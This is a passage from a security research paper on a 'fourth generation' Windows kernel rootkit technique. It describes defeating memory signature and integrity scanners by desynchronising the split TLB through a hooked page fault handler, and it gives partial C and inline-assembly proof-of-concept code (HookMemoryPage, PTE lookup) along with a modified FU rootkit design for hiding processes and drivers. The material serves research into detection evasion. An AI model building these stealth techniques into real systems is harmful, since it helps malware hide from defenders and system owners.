In response, rootkit developers moved their modifications off disk to the memory images of the loaded programs and, again, evaded detection. These 'second' generation rootkits were primarily based upon hooking techniques that altered the execution path by making memory patches to loaded applications and some operating system components such as the system call table. Although much stealthier, such modifications remained detectable by searching for heuristic abnormalities. For example, it is suspicious for the system service table to contain pointers that do not point to the operating system kernel. This is the technique used by VICE [2].

Third generation kernel rootkit techniques like Direct Kernel Object Manipulation (DKOM), which was implemented in the FU rootkit [3], capitalize on the weaknesses of current detection software by modifying dynamically changing kernel data structures for which it is impossible to establish a static trusted baseline.

----[0.1 - Motivations

There are public rootkits which illustrate all of these various techniques, but even the most sophisticated Windows kernel rootkits, like FU, possess an inherent flaw. They subvert essentially all of the operating system's subsystems with one exception: memory management. Kernel rootkits can control the execution path of kernel code, alter kernel data, and fake system call return values, but they have not (yet) demonstrated the capability to 'hook' or fake the contents of memory seen by other running applications. In other words, public kernel rootkits are sitting ducks for in memory signature scans. Only now are security companies beginning to think of implementing memory signature scans.

Hiding from memory scans is similar to the problem faced by early viruses attempting to hide on the file system. Virus writers reacted to anti-virus programs scanning the file system by developing polymorphic and metamorphic techniques to evade detection. Polymorphism attempts to alter the binary image of a virus by replacing blocks of code with functionally equivalent blocks that appear different (i.e. use different opcodes to perform the same task). Polymorphic code, therefore, alters the superficial appearance of a block of code, but it does not fundamentally alter a scanner's view of that region of system memory.

Traditionally, there have been three general approaches to malicious code detection: misuse detection, which relies upon known code signatures, anomaly detection, which relies upon heuristics and statistical deviations from 'normal' behavior, and integrity checking which relies upon comparing current snapshots of the file system or memory with a known, trusted baseline. A polymorphic rootkit (or virus) effectively evades signature based detection of its code body, but falls short in anomaly or integrity detection schemes because it cannot easily camouflage the changes it makes to existing binary code in other system components.

Now imagine a rootkit that makes no effort to change its superficial appearance, yet is capable of fundamentally altering a detectors view of an arbitrary region of memory. When the detector attempts to read any region of memory modified by the rootkit, it sees a 'normal', unaltered view of memory. Only the rootkit sees the true, altered view of memory. Such a rootkit is clearly capable of compromising all of the primary detection methodologies to varying degrees. The implications to misuse detection are obvious. A scanner attempts to read the memory for the loaded rootkit driver looking for a code signature and the rootkit simply returns a random, 'fake' view of memory (i.e. which does not include its own code) to the scanner. There are also implications for integrity validation approaches to detection. In these cases, the rootkit returns the unaltered view of memory to all processes other than itself. The integrity checker sees the unaltered code, finds a matching CRC or hash, and (erroneously) assumes that all is well. Finally, any anomaly detection methods which rely upon identifying deviant structural characteristics will be fooled since they will receive a 'normal' view of the code. An example of this might be a scanner like VICE which attempts to heuristically identify inline function hooks by the presence of a direct jump at the beginning of the function body.

Current rootkits, with the exception of Hacker Defender [4], have made little or no effort to introduce viral polymorphism techniques. As stated previously, while a valuable technique, polymorphism is not a comprehensive solution to the problem for a rootkit because the rootkit cannot easily camouflage the changes it must make to existing code in order to install its hooks. Our objective, therefore, is to show proof of concept that the current architecture permits subversion of memory management such that a non polymorphic kernel mode rootkit (or virus) is capable of controlling the view of memory regions seen by the operating system and other processes with a minimal performance hit. The end result is that it is possible to hide a 'known' public rootkit driver (for which a code signature exists) from detection. To this end, we have designed an 'enhanced' version of the FU rootkit. In section 1, we discuss the basic techniques used to detect a rootkit. In section 2, we give a background summary of the x86 memory architecture. Section 3 outlines the concept of memory cloaking and proof of concept implementation for our enhanced rootkit. Finally, we conclude with a discussion of its detectability, limitations, future extensibility, and performance impact. Without further ado, we bid you welcome to 4th generation rootkit technology.

--[1 - Rootkit Detection

Until several months ago, rootkit detection was largely ignored by security vendors. Many mistakenly classified rootkits in the same category as other viruses and malware. Because of this, security companies continued to use the same detection methods the most prominent one being signature scans on the file system. This is only partially effective. Once a rootkit is loaded in memory is can delete itself on disk, hide its files, or even divert an attempt to open the rootkit file. In this section, we will examine more recent advances in rootkit detection.

----[1.2 - Detecting The Effect Of A Rootkit (Heuristics)

One method to detect the presence of a rootkit is to detect how it alters other parameters on the computer system. In this way, the effects of the rootkit are seen although the actual rootkit that caused the deviation may not be known. This solution is a more general approach since no signature for a particular rootkit is necessary. This technique is also looking for the rootkit in memory and not on the file system.

One effect of a rootkit is that it usually alters the execution path of a normal program. By inserting itself in the middle of a program’s execution, the rootkit can act as a middle man between the kernel functions the program relies upon and the program. With this position of power, the rootkit can alter what the program sees and does. For example, the rootkit could return a handle to a log file that is different from the one the program intended to open, or the rootkit could change the destination of network communication. These rootkit patches or hooks cause extra instructions to be executed. When a patched function is compared to a normal function, the difference in the number of instructions executed can be indicative of a rootkit. This is the technique used by PatchFinder [5]. One of the drawbacks of PatchFinder is that the CPU must be put into single step mode in order to count instructions. So for every instruction executed an interrupt is fired and must be handled. This slows the performance of the system, which may be unacceptable on a production machine. Also, the actual number of instructions executed can vary even on a clean system. Another rootkit detection tool called VICE detects the presence of hooks in applications and in the kernel . VICE analyzes the addresses of the functions exported by the operating system looking for hooks. The exported functions are typically the target of rootkits because by filtering certain APIs rootkits can hide. By finding the hooks themselves, VICE avoids the problems associated with instruction counting. However, VICE also relies upon several APIs so it is possible for a rootkit to defeat its hook detection [6]. Currently the biggest weakness of VICE is that it detects all hooks both malicious and benign. Hooking is a legitimate technique used by many security products.

Another approach to detecting the effects of a rootkit is to identify the operating system lying. The operating system exposes a well-known API in order for applications to interact with it. When the rootkit alters the results of a particular API, it is a lie. For example, Windows Explorer may request the number of files in a directory using several functions in the Win32 API. If the rootkit changes the number of files that the application can see, it is a lie. To detect the lie, a rootkit detector needs at least two ways to obtain the same information. Then, both results can be compared. RootkitRevealer [7] uses this technique. It calls the highest level APIs and compares those results with the results of the lowest level APIs. This method can be bypassed by a rootkit if it also hooks at those lowest layers. RootkitRevealer also does not address data alterations. The FU rootkit alters the kernel data structures in order to hide its processes. RootkitRevealer does not detect this because both the higher and lower layer APIs return the same altered data set. Blacklight from F-Secure [8] also tries to detect deviations from the truth. To detect hidden processes, it relies on an undocumented kernel structure. Just as FU walks the linked list of processes to hide, Blacklight walks a linked list of handle tables in the kernel. Every process has a handle table; therefore, by identifying all the handle tables Blacklight can find a pointer to every process on the computer. FU has been updated to also unhook the hidden process from the linked list of handle tables. This arms race will continue.

----[1.2 - Detecting the Rootkit Itself (Signatures)

Anti-virus companies have shown that scanning file systems for signatures can be effective; however, it can be subverted. If the attacker camouflages the binary by using a packing routine, the signature may no longer match the rootkit. A signature of the rootkit as it will execute in memory is one way to solve this problem. Some host based intrusion prevention systems (HIPS) try to prevent the rootkit from loading. However, it is extremely difficult to block all the ways code can be loaded in the kernel . Recent papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of kernel exploits, which will allow arbitrary code to be loaded into memory and executed.

Although file system scans and loading detection are needed, perhaps the last layer of detection is scanning memory itself. This provides an added layer of security if the rootkit has bypassed the previous checks. Memory signatures are more reliable because the rootkit must unpack or unencrypt in order to execute. Not only can scanning memory be used to find a rootkit, it can be used to verify the integrity of the kernel itself since it has a known signature. Scanning kernel memory is also much faster than scanning everything on disk. Arbaugh et. al. [11] have taken this technique to the next level by implementing the scanner on a separate card with its own CPU.

The next section will explain the memory architecture on Intel x86.

--[2 - Memory Architecture Review

In early computing history, programmers were constrained by the amount of physical memory contained in a system. If a program was too large to fit into memory, it was the programmer's responsibility to divide the program into pieces that could be loaded and unloaded on demand. These pieces were called overlays. Forcing this type of memory management upon user level programmers increased code complexity and programming errors while reducing efficiency. Virtual memory was invented to relieve programmers of these burdens.

----[2.1 - Virtual Memory - Paging vs. Segmentation

Virtual memory is based upon the separation of the virtual and physical address spaces. The size of the virtual address space is primarily a function of the width of the address bus whereas the size of the physical address space is dependent upon the quantity of RAM installed in the system. Thus, a system possessing a 32 bit bus is capable of addressing 2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not have anywhere near that quantity of RAM installed. If this is the case, then the virtual address space will be larger than the physical address space. Virtual memory divides both the virtual and physical address spaces into fixed size blocks. If these blocks are all the same size, the system is said to use a paging memory model. If the blocks are varying sizes, it is considered to be a segmentation model. The x86 architecture is in fact a hybrid, utlizing both segementation and paging, however, this article focuses primarily upon exploitation of its paging mechanism.

Under a paging model, blocks of virtual memory are referred to as pages and blocks of physical memory are referred to as frames. Each virtual page maps to a designated physical frame. This is what enables the virtual address space seen by programs to be larger than the amount of physically addressable memory (i.e. there may be more pages than physical frames). It also means that virtually contiguous pages do not have to be physically contiguous. These points are illustrated by Figure 1.

```
   VIRTUAL ADDRESS                     PHYSICAL ADDRESS
```

```
        SPACE                                SPACE
   /-------------\                      /-------------\
   |             |                      |             |
   |   PAGE 01   |---\   /----------->>>|  FRAME 01   |
   |             |   |   |              |             |
   ---------------   |   |              ---------------
   |             |   |   |              |             |
   |   PAGE 02   |------------------->>>|  FRAME 02   |
   |             |   |   |              |             |
   ---------------   |   |              ---------------
   |             |   |   |              |             |
   |   PAGE 03   |   \---|----------->>>|  FRAME 03   |
   |             |       |              |             |
   ---------------       |              \-------------/
   |             |       |
   |   PAGE 04   |       |
   |             |       |
   |-------------|       |
   |             |       |
   |   PAGE 05   |-------/
   |             |
   \-------------/

   [ Figure 1 - Virtual To Physical Memory Mapping (Paging)         ]
   [                                                                ]
   [ NOTE: 1. Virtual & physical address spaces are divided into    ]
   [ fixed size blocks. 2. The virtual address space may be larger  ]
   [ than the physical address space. 3. Virtually contiguous       ]
   [ blocks to not have to be mapped to physically contiguous       ]
   [ frames.                                                        ]
```

----[2.2 - Page Tables & PTE's

The mapping information that connects a virtual address with its physical frame is stored in page tables in structures known as PTE's. PTE's also store status information. Status bits may indicate, for example, weather or not a page is valid (physically present in memory versus stored on disk), if it is writable, or if it is a user / supervisor page. Figure 2 shows the format for an x86 PTE.

```
   Valid          <------------------------------------------------\
   Read/Write     <--------------------------------------------\   |
   Privilege      <----------------------------------------\   |   |
   Write Through  <------------------------------------\   |   |   |
   Cache Disabled <--------------------------------\   |   |   |   |
   Accessed       <---------------------------\    |   |   |   |   |
   Dirty          <-----------------------\   |    |   |   |   |   |
   Reserved       <-------------------\   |   |    |   |   |   |   |
   Global         <---------------\   |   |   |    |   |   |   |   |
   Reserved       <----------\    |   |   |   |    |   |   |   |   |
   Reserved       <-----\    |    |   |   |   |    |   |   |   |   |
   Reserved       <-\   |    |    |   |   |   |    |   |   |   |   |
                    |   |    |    |   |   |   |    |   |   |   |   |
   +----------------+---+----+----+---+---+---+----+---+---+---+---+-+
   |              |   |   |    |    |   |   |   |    |   | U | R |   |
   | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |
   |              |   |   |    |    |   |   |   |    |   | S | W |   |
   +-----------------------------------------------------------------+

   [ Figure 2 - x86 PTE FORMAT (4 KBYTE PAGE) ]
```

----[2.4 - Virtual To Physical Address Translation

Virtual addresses encode the information necessary to find their PTE's in the page table. They are divided into 2 basic parts: the virtual page number and the byte index. The virtual page number provides the index into the page table while the byte index provides an offset into the physical frame. When a memory reference occurs, the PTE for the page is looked up in the page table by adding the page table base address to the virtual page number * PTE entry size. The base address of the page in physical memory is then extracted from the PTE and combined with the byte offset to define the physical memory address that is sent to the memory unit. If the virtual address space is particularly large and the page size relatively small, it stands to reason that it will require a large page table to hold all of the mapping information. And as the page table must remain resident in main memory, a large table can be costly. One solution to this dilemma is to use a multi-level paging scheme. A two-level paging scheme, in effect, pages the page table. It further subdivides the virtual page number into a page directory and a page table index. The page directory is simply a table of pointers to page tables. This two level paging scheme is the one supported by the x86. Figure 3 illustrates how the virtual address is divided up to index the page directory and page tables and Figure 4 illustrates the process of address translation.

```
+---------------------------------------+
| 31                                 12 |                  0
| +-----------------+ +-----------------+ | +----------------+
| | PAGE DIRECTORY | |   PAGE TABLE    | | |   BYTE INDEX   |
| |     INDEX      | |     INDEX       | | |                |
| +-----------------+ +-----------------+ | +----------------+
|      10 bits            10 bits        |      12 bits
|                                       |
|        VIRTUAL PAGE NUMBER            |
+---------------------------------------+
```

[Figure 3 - x86 Address & Page Table Indexing Scheme]

```
  +--------+
/-|KPROCESS|
| +--------+
|              Virtual Address
| +-----------------------------------------+
| | Page Directory | Page Table | Byte Index |
| |     Index      |   Index    |            |
| +-+-----------------+-------------+------+
|   | +---+              |             |
|   | |CR3| Physical     |             |
|   | +---+ Address Of   |             |
|   |       Page Dir     |             |
|   |                    |             \------ -\
|   |                    |                      |
|   |  Page Directory    |      Page Table      |     Physical Memory
\---|->+------------+    |  /-->+------------+  \---->+------------+
    |  |            |    |  |   |            |        |            |
    |  |            |    |  |   |            |        |------------|
    |  |            |    |  |   |            |        |            |
    |  |------------|    |  |   |            |        |    Page    |
    \->|    PDN     |----|--/   |            |        |    Frame   |
       |------------|    |      |            |    /---->           |
       |            |    |      |            |    |   |------------|
       |            |    |      |            |    |   |            |
       |            |    |      |            |    |   |            |
       |            |    |      |------------|    |   |            |
       |            |    \----->|    PFN     -------/ |            |
       |            |           |------------|        |            |
       +------------+           +------------+        +------------+
       (1 per process)      (512 per processs)
```

[Figure 4 - x86 Address Translation]

A memory access under a 2 level paging scheme potentially involves the following sequence of steps.

1. Lookup of page directory entry (PDE).
   Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page

Directory Index (extracted from virtual address that caused the memory access)
NOTE: Windows maps the page directory to virtual address 0xC0300000. Base addresses for page directories are also located in KPROCESS blocks and the register cr3 contains the physical address of the current page directory.

2. Lookup of page table entry.
   Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table Index (extracted from virtual address that caused the memory access).
   NOTE: Windows maps the page directory to virtual address 0xC0000000. The base physical address for the page table is also stored in the page directory entry.

3. Lookup of physical address.
   Physical Address = Contents of PTE + Byte Index
   NOTE: PTEs hold the physical address for the physical frame. This is combined with the byte index (offset into the frame) to form the complete physical address. For those who prefer code to explanation, the following two routines show how this translation occurs. The first routine, GetPteAddress performs steps 1 and 2 described above. It returns a pointer to the page table entry for a given virtual address. The second routine returns the base physical address of the frame to which the page is mapped.

```
#define PROCESS_PAGE_DIR_BASE                   0xC0300000
#define PROCESS_PAGE_TABLE_BASE                 0xC0000000
typedef unsigned long* PPTE;

/**************************************************************************
* GetPteAddress - Returns a pointer to the page table entry corresponding
*                 to a given memory address.
*
* Parameters:
*       PVOID VirtualAddress - Address you wish to acquire a pointer to the
*                              page table entry for.
*
* Return - Pointer to the page table entry for VirtualAddress or an error
*          code.
*
* Error Codes:
*       ERROR_PTE_NOT_PRESENT - The page table for the given virtual
*                               address is not present in memory.
*      ERROR_PAGE_NOT_PRESENT - The page containing the data for the
*                               given virtual address is not present in
*                               memory.
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )
{
        PPTE pPTE = 0;
        __asm
        {
                cli                     //disable interrupts
                pushad
                mov esi, PROCESS_PAGE_DIR_BASE
                mov edx, VirtualAddress
                mov eax, edx
                shr eax, 22
                lea eax, [esi + eax*4]  //pointer to page directory entry
                test [eax], 0x80        //is it a large page?
                jnz Is_Large_Page       //it's a large page
                mov esi, PROCESS_PAGE_TABLE_BASE
                shr edx, 12
                lea eax, [esi + edx*4]  //pointer to page table entry (PTE)
                mov pPTE, eax
                jmp Done

                //NOTE: There is not a page table for large pages because
                //the phys frames are contained in the page directory.
                Is_Large_Page:
```

```
                mov pPTE, eax

                Done:
                popad
                sti                     //reenable interrupts
        }//end asm

        return pPTE;

}//end GetPteAddress

/**************************************************************************
* GetPhysicalFrameAddress - Gets the base physical address in memory where
*                           the page is mapped. This corresponds to the
*                           bits 12 - 32 in the page table entry.
*
* Parameters -
*       PPTE pPte - Pointer to the PTE that you wish to retrieve the
*       physical address from.
*
* Return - The physical address of the page.
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )
{
        ULONG Frame = 0;

        __asm
        {
                cli
                pushad
                mov eax, pPte
                mov ecx, [eax]
                shr ecx, 12  //physical page frame consists of the
                             //upper 20 bits
                mov Frame, ecx
                popad
                sti
        }//end asm
        return Frame;

}//end GetPhysicalFrameAddress
```

----[2.5 - The Role Of The Page Fault Handler

Since many processes only use a small portion of their virtual address space, only the used portions are mapped to physical frames. Also, because physical memory may be smaller than the virtual address space, the OS may move less recently used pages to disk (the pagefile) to satisfy current memory demands. Frame allocation is handled by the operating system. If a process is larger than the available quantity of physical memory, or the operating system runs out of free physical frames, some of the currently allocated frames must be swapped to disk to make room. These swapped out pages are stored in the page file. The information about whether or not a page is resident in main memory is stored in the page table entry. When a memory access occurs, if the page is not present in main memory a page fault is generated. It is the job of the page fault handler to issue the I/O requests to swap out a less recently used page if all of the available physical frames are full and then to bring in the requested page from the pagefile. When virtual memory is enabled, every memory access must be looked up in the page table to determine which physical frame it maps to and whether or not it is present in main memory. This incurs a substantial performance overhead, especially when the architecture is based upon a multi-level page table scheme like the Intel Pentium. The memory access page fault path can be summarized as follows.

1. Lookup in the page directory to determine if the page table for the
   address is present in main memory.
2. If not, an I/O request is issued to bring in the page table from disk.
3. Lookup in the page table to determine if the requested page is present

   in main memory.
4. If not, an I/O request is issued to bring in the page from disk.
5. Lookup the requested byte (offset) in the page.

Therefore every memory access, in the best case, actually requires 3 memory accesses : 1 to access the page directory, 1 to access the page table, and 1 to get the data at the correct offset. In the worst case, it may require an additional 2 disk I/Os (if the pages are swapped out to disk). Thus, virtual memory incurs a steep performance hit.

----[2.6 - The Paging Performance Problem & The TLB

The translation lookaside buffer (TLB) was introduced to help mitigate this problem. Basically, the TLB is a hardware cache which holds frequently used virtual to physical mappings. Because the TLB is implemented using extremely fast associative memory, it can be searched for a translation much faster than it would take to look that translation up in the page tables. On a memory access, the TLB is first searched for a valid translation. If the translation is found, it is termed a TLB hit. Otherwise, it is a miss. A TLB hit, therefore, bypasses the slower page table lookup. Modern TLB's have an extremely high hit rate and therefore seldom incur miss penalty of looking up the translation in the page table.

--[3 - Memory Cloaking Concept

One goal of an advanced rootkit is to hide its changes to executable code (i.e. the placement of an inline patch, for example). Obviously, it may also wish to hide its own code from view. Code, like data, sits in memory and we may define the basic forms of memory access as:

  - EXECUTE
  - READ
  - WRITE

Technically speaking, we know that each virtual page maps to a physical page frame defined by a certain number of bits in the page table entry. What if we could filter memory accesses such that EXECUTE accesses mapped to a different physical frame than READ / WRITE accesses? From a rootkit's perspective, this would be highly advantageous. Consider the case of an inline hook. The modified code would run normally, but any attempts to read (i.e. detect) changes to the code would be diverted to a 'virgin' physical frame that contained a view of the original, unaltered code. Similarly, a rootkit driver might hide itself by diverting READ accesses within its memory range off to a page containing random garbage or to a page containing a view of code from another 'innocent' driver. This would imply that it is possible to spoof both signature scanners and integrity monitors. Indeed, an architectural feature of the Pentium architecture makes it possible for a rootkit to perform this little trick with a minimal impact on overall system performance. We describe the details in the next section.

----[3.1 - Hiding Executable Code

Ironically, the general methodology we are about to discuss is an offensive extension of an existing stack overflow protection scheme known as PaX. We briefly discuss the PaX implementation in 3.3 under related work.

In order to hide executable code, there are at least 3 underlying issues which must be addressed:

1. We need a way to filter execute and read / write accesses.
2. We need a way to "fake" the read / write memory accesses
   when we detect them.
3. We need to ensure that performance is not adversly affected.

The first issue concerns how to filter execute accesses from read / write accesses. When virtual memory is enabled, memory access restrictions are enforced by setting bits in the page table entry which specify whether a given page is read-only or read-write. Under the IA-32 architecture, however, all pages are executable. As such, there is no official way to filter execute accesses from read / write accesses and thus enforce the execute-only / diverted read-write semantics necessary for this scheme to work. We can, however, trap and filter memory accesses by marking their PTE's non present and hooking the page fault handler. In the page fault handler we have access to the saved instruction pointer and the faulting address. If the instruction pointer equals the faulting address, then it is an execute access. Otherwise, it is a read / write. As the OS uses the present bit in memory management, we also need to differentiate between page faults due to our memory hook and normal page faults. The simplest way is to require that all hooked pages either reside in non paged memory or be explicitly locked down via an API like MmProbeAndLockPages.

The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses when we detect them (and do so with a minimal performance hit). In this case, the Pentium TLB architecture comes to the rescue. The pentium possesses a split TLB with one TLB for instructions and the other for data. As mentioned previously, the TLB caches the virtual to physical page frame mappings when virtual memory is enabled. Normally, the ITLB and DTLB are synchronized and hold the same physical mapping for a given page. Though the TLB is primarily hardware controlled, there are several software mechanisms for manipulating it.

- Reloading cr3 causes all TLB entries except global entries to be flushed. This typically occurs on a context switch.
- The invlpg causes a specific TLB entry to be flushed.
- Executing a data access instruction causes the DTLB to be loaded with the mapping for the data page that was accessed.
- Executing a call causes the ITLB to be loaded with the mapping for the page containing the code executed in response to the call.

We can filter execute accesses from read / write accesses and fake them by desynchronizing the TLB's such that the ITLB holds a different virtual to physical mapping than the DTLB. This process is performed as follows:

First, a new page fault handler is installed to handle the cloaked page accesses. Then the page-to-be-hooked is marked not present and it's TLB entry is flushed via the invlpg instruction. This ensures that all subsequent accesses to the page will be filtered through the installed page fault handler. Within the installed page fault handler, we determine whether a given memory access is due to an execute or read/write by comparing the saved instruction pointer with the faulting address. If they match, the memory access is due to an execute. Otherwise, it is due to a read / write. The type of access determines which mapping is manually loaded into the ITLB or DTLB. Figure 5 provides a conceptual view of this strategy.

Lastly, it is important to note that TLB access is much faster than performing a page table lookup. In general, page faults are costly. Therefore, at first glance, it might appear that marking the hidden pages not present would incur a significant performance hit. This is, in fact, not the case. Though we mark the hidden pages not present, for most memory accesses we do not incur the penalty of a page fault because the entries are cached in the TLB. The exceptions are, of course, the initial faults that occur after marking the cloaked page not present and any subsequent faults which result from cache line evictions when a TLB set becomes full. Thus, the primary job of the new page fault handler is to explicitly and selectively load the DTLB or ITLB with the correct mappings for hidden pages. All faults originating on other pages are passed down to the operating system page fault handler.

```
                                                      +-------------+
                                         rootkit code |   FRAME 1   |
      Is it a +-----------+            /------------->|             |
       code   |           |            |              |-------------|
      access? |   ITLB    |            |              |   FRAME 2   |
      /------>|-----------|------------/              |             |
      |       |  VPN=12   |                           |-------------|
```

```
      |       |  Frame=1  |                          |   FRAME 3   |
      |       +-----------+                          |             |
      |                           +-------------+    |-------------|
   MEMORY                         | PAGE TABLES |    |   FRAME 4   |
   ACCESS                         +-------------+    |             |
   VPN=12                                            |-------------|
      |                                              |   FRAME 5   |
      |       +-----------+                          |             |
      |       |           |                          |-------------|
      |       |   DTLB    |           random garbage |   FRAME 6   |
      |------>|------------------------------------->|             |
      Is it a |  VPN=12   |                          |-------------|
        data  |  Frame=6  |                          |   FRAME N   |
      access? +-----------+                          |             |
                                                     +-------------+
```

[Figure 5 - Faking Read / Writes by Desynchronizing the Split TLB]

----[3.2 - Hiding Pure Data

Hiding data modifications is significantly less optimal than hiding code modifications, but it can be accomplished provided that one is willing to accept the performance hit. We cause a minimal performance loss when hiding executable code by virtue of the fact that the ITLB can maintain a different mapping than the DTLB. Code can execute very fast with a minimum of page faults because that mapping is always present in the ITLB (except in the rare event the ITLB entry gets evicted from the cache). Unfortunately, in the case of data we can't introduce any such inconsistency. There is only 1 DTLB and consequently that DTLB has to be kept empty if we are to catch and filter specific data accesses. The end result is 1 page fault per data access. This is not be a big problem in terms of hiding a specific driver if the driver is carefully designed and uses a minimum of global data, but the performance hit could be formidable when trying to hide a frequently accessed data page.

For data hiding, we have used a protocol based approach between the hidden driver and the memory hook. We use this to show how one might hide global data in a rootkit driver. In order to allow the memory access to go throug the DTLB is loaded in the page fault handler. In order to enforce the correct filtering of data accesses, however, it must be flushed immediately by the requesting driver to ensure that no other code accesses that memory address and receives the data resulting from an incorrect mapping.
The protocol for accessing data on a hidden page is as follows:

1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other code gets to run which might see the "hidden" data as opposed to the "fake" data).

2. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction. In the event that some other process has attempted to access our data page and been served with the fake frame (i.e. we don't want to receive the fake mapping which may still reside in the TLB so we clear it to be sure).

3. The driver is allowed to perform the data access.

4. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction (i.e. so that the "real" mapping does not remain in the TLB. We don't want any other drivers or processes receiving the hidden mapping so we clear it).

5. The driver lowers the IRQL to the previous level before it was raised.

The additional restriction also applies:

 - No global data can be passed to kernel API functions. When calling an API, global data must be copied into local storage on the stack and passed into the API function (i.e. if the API accesses the cloaked variable it will receive fake data and perform incorrectly).

This protocol can be efficiently implemented in the hidden driver by having the driver copy all global data over into local variables at the beginning of the routine and then copy the data back after the function body has completed executing. Because stack data is in a constant state of flux, it is unlikely that a signature could be reliably obtained from global data on the stack. In this way, there is no need to cause a page fault on every global access. In general, only one page fault is required to copy over the data at the beginning of the routine and one fault to copy the data back at the end of the routine. Admittedly, this disregards more complex issues involved with multithreaded access and synchronization. An alternative approach to using a protocol between the driver and PF handler would be to single step the instruction causing the memory access. This would be less cumbersome for the driver and yet allow the PF handler to maintain control of the DTLB (ie. to flush it after the data access so that it remains empty).

----[3.3 - Related Work

Ironically, the memory cloaking technology discussed in this article is derived from an existing stack overflow protection scheme known as PaX . As such, we demonstrate a potentially offensive application of an originally defensive technology. Though very similar (i.e. taking advantage of the Pentium split TLB architecture), there are subtle differences between PaX and the rootkit application of the technology. Whereas our memory cloaked rootkit enforces execute, diverted read / write semantics, PaX enforces read / write, no execute semantics. This enables PaX to provide software support for a non executable stack under the IA-32 architecture, thereby thwarting a large class of stack based buffer overflow attacks. When a PaX protected system detects an attempted execute in a read / write only range of memory, it terminates the offending process. Hardware support for non executable memory has subsequently been added to the page table entry format for some processors including IA-64 and pentium 4. In contrast to PaX, our rootkit handler allows execution to proceed normally while diverting read / write accesses to the hidden page off to an innocent appearing shadow page. Finally, it should be noted that PaX uses the PTE user / supervisor bit to generate the page faults required to enforce its protection. This limits it to protection of solely user mode pages which is an impractical limitation for a kernel mode rootkit. As such, we use the PTE present / not present bit in our implementation.

----[3.4 - Proof Of Concept Implementation

Our current implementation uses a modified FU rootkit and a new page fault handler called Shadow Walker. Since FU alters kernel data structures to hide processes and does not utilize any code hooks, we only had to be concerned with hiding the FU driver in memory. The kernel accounts for every process running on the system by storing an object called an EPROCESS block for each process in an internal linked list. FU disconnects the process it wants to hide from this linked list.

------[3.4.a - Modified FU Rootkit

We modified the current version of the FU rootkit taken from rootkit.com. In order to make it more stealthy, its dependence on a userland initialization program was removed. Now, all setup information in the form of OS dependant offsets are derived with a kernel level function. By removing the userland portion, we eliminated the need to create a symbolic link to the driver and the need to create a functional device, both of which are easily detected. Once FU is installed, its image on the file system can be deleted so all anti-virus scans on the file system will fail to find it. You can also imagine that FU could be installed from a kernel exploit and loaded into memory thereby avoiding any image on disk detection. Also, FU hides all processes whose names are prefixed with _fu_ regardless of the process ID (PID). We create a System thread that continually scans this list of processes looking for this prefix. FU and the memory hook, Shadow Walker, work in collusion; therefore, FU relies on Shadow Walker to remove the driver from the linked list of drivers in memory and from the Windows Object Manager's driver directory.

----[3.4.b - Shadow Walker Memory Hook Engine

Shadow Walker consists of a memory hook installation module and a new page fault handler. The memory hook module takes the virtual address of the page to be hidden as a parameter. It uses the information contained in the address to perform a few sanity checks. Shadow Walker then installs the new page fault handler by hooking Int 0E (if it has not been previously installed) and inserts the information about the hidden page into a hash table so that it can be looked up quickly on page faults. Lastly, the PTE for the page is marked non present and the TLB entry for the hidden page is flushed. This ensures that all subsequent accesses to the page are filtered by the new page fault handler.

```
/*****************************************************************************
* HookMemoryPage - Hooks a memory page by marking it not present
*                  and flushing any entries in the TLB. This ensure
*                  that all subsequent memory accesses will generate
*                  page faults and be filtered by the page fault handler.
*
* Parameters:
*      PVOID pExecutePage - pointer to the page that will be used on
*                           execute access
*
*      PVOID pReadWritePage - pointer to the page that will be used to load
*                             the DTLB on data access              *
*
*      PVOID pfnCallIntoHookedPage - A void function which will be called
*                                    from within the page fault handler to
*                                    to load the ITLB on execute accesses
*
*      PVOID pDriverStarts (optional) - Sets the start of the valid range
*                                       for data accesses originating from
*                                       within the hidden page.
*
*      PVOID pDriverEnds (optional) - Sets the end of the valid range for
*                                     data accesses originating from within
*                                     the hidden page.
* Return - None
*****************************************************************************/
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
                     PVOID pfnCallIntoHookedPage, PVOID pDriverStarts,
                     PVOID pDriverEnds )
{
        HOOKED_LIST_ENTRY HookedPage = {0};
        HookedPage.pExecuteView = pExecutePage;
        HookedPage.pReadWriteView = pReadWritePage;
        HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;
        if( pDriverStarts != NULL)
           HookedPage.pDriverStarts = (ULONG)pDriverStarts;
        else
           HookedPage.pDriverStarts = (ULONG)pExecutePage;

        if( pDriverEnds != NULL)
           HookedPage.pDriverEnds = (ULONG)pDriverEnds;
        else
        {       //set by default if pDriverEnds is not specified
                if( IsInLargePage( pExecutePage ) )
                   HookedPage.pDriverEnds =
                   (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE;
                else
                   HookedPage.pDriverEnds =
                   (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;
        }//end if

        __asm cli //disable interrupts

        if( hooked == false )
        {      HookInt( &g_OldInt0EHandler,
                      (unsigned long)NewInt0EHandler, 0x0E );
               hooked = true;
```

```
        }//end if

        HookedPage.pExecutePte = GetPteAddress( pExecutePage );
        HookedPage.pReadWritePte = GetPteAddress( pReadWritePage );

        //Insert the hooked page into the list
        PushPageIntoHookedList( HookedPage );

        //Enable the global page feature
        EnableGlobalPageFeature( HookedPage.pExecutePte );

        //Mark the page non present
        MarkPageNotPresent( HookedPage.pExecutePte );

        //Go ahead and flush the TLBs.  We want to guarantee that all
        //subsequent accesses to this hooked page are filtered
        //through our new page fault handler.
        __asm invlpg pExecutePage

        __asm sti //reenable interrupts
}//end HookMemoryPage
```

